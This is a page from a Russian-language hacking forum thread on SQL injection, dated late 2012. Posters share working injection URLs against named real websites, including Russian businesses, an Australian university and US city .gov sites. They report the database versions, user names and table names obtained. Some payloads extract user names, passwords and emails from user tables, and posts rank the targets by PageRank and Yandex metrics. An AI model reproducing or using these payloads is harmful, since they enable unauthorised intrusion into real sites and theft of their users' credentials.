SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 760 of 798
  1. ~nero~

    ~nero~ Member

    Joined:
    3 Jul 2012
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    Яндекс тИЦ (CY) 100
    Google PageRank (PR) 3
    Code:
    http://www.inharmony.ru/news/news.php?id=-169+union+select+1,user(),version(),4,5,database(),7--
     
    #15181 ~nero~, 22 Oct 2012
    1 person likes this.
  2. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.gusberti.it
    Code:
    http://www.gusberti.it/scheda.php?id=-30+union+select+1,2,3,group_concat(nome,0x03a,pwd,0x03a,email),5+from+web_users--
    PR1
    [email protected]
     
    #15182 DyukiN, 23 Oct 2012
    1 person likes this.
  3. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.christianmichael.co.uk
    PR 4
    [email protected]

    www.santapod.co.uk
    PR 4
    [email protected]


    www.cloud.co.uk
    PR 4
    [email protected] 5
     
    #15183 DyukiN, 25 Oct 2012
    Last edited: 25 Oct 2012
  4. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.swin.edu.au
    PHP:
    http://www.swin.edu.au/engineering/cmp/news.php?id=-39+union+select+concat_ws(user(),database(),version()),2,3,4,5,6,7,8,9,10--+
    ТИЦ 400
    PR 8
    AR 36,975
    DMOZ     > Reference> Education> Colleges_and_Universities> Oceania> Australia> Victoria> Swinburne_University_of_Technology

    [email protected]
     
    #15184 DyukiN, 27 Oct 2012
    2 people like this.
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Nothing interesting here.

    Тиц == 10, PR = 4;

    PHP:
    http://ecorporateoffices.com/biz.php?id=-1'+union+select+1,2,3,4,5,6,version(),8+--+h
    PR ==1;

    PHP:
    http://nextjobathome.com/next-job-at-home-details.php?id=-3960+union+select+1,2,version(),4,5,6,7,8,9+--+
     
    #15185 Га-Ноцри, 28 Oct 2012
  6. mr.KREGI

    mr.KREGI New Member

    Joined:
    22 May 2012
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    http://tdpu.uz/

    PHP:
    http://www.tdpu.uz/abit2011/index.php?o=info&op=tush&id=99999999+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14+--+
    ТИЦ 30
    PR 4
    DMOZ World: O'zbekcha: Hududiy: Osiyo: O‘zbekiston: Ma'muriy-hududiy tuzilish: Viloyatlar: Tоshkеnt: Tоshkеnt shаhаri: Ta’lim: Oliy ta’lim

    User: abit2011@localhost
    Sql Version: 5.5.14
     
    #15186 mr.KREGI, 28 Oct 2012
    Last edited: 28 Oct 2012
  7. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    rol-lift.ee

    PHP:
    http://www.rol-lift.ee/index.php?id=168&lang=rus%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.0.51a-24+lenny1-log
    (CY) 0
    (PR) 4
    ==============================================
    myswiss.ru

    PHP:
    http://www.myswiss.ru/?page=11&id=-812+union+select+1,2,3,4,5,6,version%28%29,8,9--+
    5.0.67-percona-highperf-b7-log
    (CY) 180
    (PR) 4
    ==============================================
     
    #15187 qaz, 28 Oct 2012
    2 people like this.
  8. voold

    voold New Member

    Joined:
    12 Aug 2012
    Messages:
    1
    Likes Received:
    3
    Reputations:
    -5
    PHP:
    http://www.cinema-rp.com/index.php?id=812+order+by+15%20--
    pr 6
    тиц 150



    PHP:
    http://www.parnas-moscow.ru/events/?id=3859+order+by+1%20--
    pr 3
    тиц 70



    PHP:
    http://www.eloundapeninsula.com/index.php?id=2+union+select+1+--+
    pr 4
    тиц 150




    PHP:
    http://www.heavymetal.com/index.php?id=812+order+by+12%20--
    pr 5
    тиц 20
     
    #15188 voold, 29 Oct 2012
    Last edited: 31 Oct 2012
  9. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    PHP:
    http://www.my-eisk.ru/index.php?option=com_eisk&idd=-235+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--
    PHP:
    http://www.pan-invest.com/index.php?option=products&Itemid=62&id_cat=235+union+select+version()--
     
    #15189 ukrpunk, 31 Oct 2012
    Last edited: 31 Oct 2012
  10. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    svkurort.ru

    PHP:
    http://svkurort.ru/news.php?id=80%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 10
    (PR) 0
    5.0.32-Debian_7etch12-log
    ------------------------------------------------------------------------------------
    parapsiholog.lv

    PHP:
    http://www.parapsiholog.lv/index.php?action=news&id=48+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

    5.5.27-log
    CY) 10
    (PR) 2
    ----------------------------------------------------------------------------------
    rstomat.ru

    PHP:
    http://rstomat.ru/pages.php?id=93+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.65-cll
    (CY) 0
    (PR) 0
    -----------------------------------------------------------------------------------
    msk-registr.ru

    PHP:
    http://msk-registr.ru/cont.html?id=6+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.41-log
    (CY) 10
    (PR) 2
    ----------------------------------------------------------------------------------
     
    #15190 qaz, 31 Oct 2012
    Last edited: 31 Oct 2012
  11. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://www.tristateracer.com/Results/resultspage.php?Year=-1488%27%20union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20information_schema.tables;+--+
    для получения резалта - жмякаем "January"
     
    #15191 vaddd, 2 Nov 2012
  12. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Да здравствует FOREX

    Выкладываю с учётом того, что данная SQL лежит под жестоким WAF и не несёт смысла в раскрутке.

    MsAccess

    Site: www.wmfx.us

    Inject:

    Code:
    _ttp://www.wmfx.us/English/forex.asp?ID=5+or+1=1
    Code:
    http://www.wmfx.us/English/forex.asp?ID=5+group+by+1+having+1=1

��ͼִ�еIJ�ѯ�в�����Ϊ�ϼƺ���һ���ֵ��ض����ʽ '[COLOR=Red]ID[/COLOR]' �� 

/English/forex.asp���� 277
    Code:
    http://www.wmfx.us/English/forex.asp?ID=5+group+by+1,id,AboutNameEn,ContentEn,GroupID,Exclusive,ClickNumber+having+1=1
    PR и TYC 0, Alexa очень высокий

    Сайт "на чисто поглазеть..."
     
    _________________________
    #15192 BigBear, 3 Nov 2012
    2 people like this.
  13. .while

    .while Member

    Joined:
    22 Feb 2010
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    Site : GroupFo.ru
    PR : 0, TY : 0.
    Сайт партнерской программы.

    Post:
    Data:
     
    #15193 .while, 5 Nov 2012
    1 person likes this.
  14. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.svr-oskol.ru/rus/?cid=-3%20and%201=2%20union%20select%20@@version,2--&lng=ru

    5.1.65-cll
     
    #15194 AC//DC, 8 Nov 2012
  15. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    GOV, PR 4

    Code:
    http://www.murrayky.gov/showevent.htm?ID=-123+union+select+1,2,3,4,concat(database(),0x3a,version()),6,7,8,9,10,11,12,13,14,15,16--

    citybusiness:5.0.51a-community

    GOV, PR 4

    Code:
    http://www.newportky.gov/HPO_east_row_gudielines_porches.php?secid=-139+union+select+1,2,concat(database(),0x3a,version()),4,5,6,7--

    info:4.0.25
     
    #15195 MaxFast, 10 Nov 2012
    Last edited: 10 Nov 2012
  16. bigest

    bigest Banned

    Joined:
    22 Jul 2010
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    админка
     
    #15196 bigest, 10 Nov 2012
    Last edited by a moderator: 10 Nov 2012
    1 person likes this.
  17. fox*card

    fox*card New Member

    Joined:
    13 Mar 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    http://www.adventure3.com/promos/cg/brand_products.php?subcat_id=571-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
     
    #15197 fox*card, 11 Nov 2012
  18. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Чувак, ты не правильно составил запрос.


    Code:
    http://www.adventure3.com/promos/cg/brand_products.php?subcat_id=5+union+select+1,2,3,4,version(),6,7--
    5.0.95-log - дальше все стандартно
     
    #15198 _Pantera_, 11 Nov 2012
  19. fox*card

    fox*card New Member

    Joined:
    13 Mar 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    http://bbs.myhack58.com/read.php?tid=290684-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14-- [0:0]
     
    #15199 fox*card, 11 Nov 2012
    Last edited by a moderator: 11 Nov 2012
  20. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    autoinscale.com

    PHP:
    http://www.autoinscale.com/?section=article&id=64+or+1+group+by+concat%28%28select+user+from+mysql.user%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY)40
    (PR)3
    5.0.26-log

    =============================================
    ridel-holding.com

    PHP:
    http://ridel-holding.com/prom/view_price.php?id=-4%27+union+select+version%28%29,2--+
    (CY) 20
    (PR) 1
    4.0.26
    =============================================
    spectehsnab.ru

    PHP:
    http://www.spectehsnab.ru/index1.php?id=269+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 0
    (PR) 2
    5.1.60
    =============================================
    newrzhev.ru

    PHP:
    http://www.newrzhev.ru/articles.php?id=173+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 40
    (PR) 3
    5.5.24-0ubuntu0.12.04.1
    ==============================================
    ssrb.ru

    PHP:
    http://www.ssrb.ru/enterprise/?c=&id=18392%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.63-0+squeeze1
    (CY) 70
    ==============================================
    industr.ru

    PHP:
    http://www.industr.ru/news/index.php?id=15265+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.65-cll
    (CY)130
    (PR)3
    ==============================================
     
    #15200 qaz, 11 Nov 2012
    Last edited: 11 Nov 2012
    1 person likes this.
(You must log in or sign up to post here.)
Page 760 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.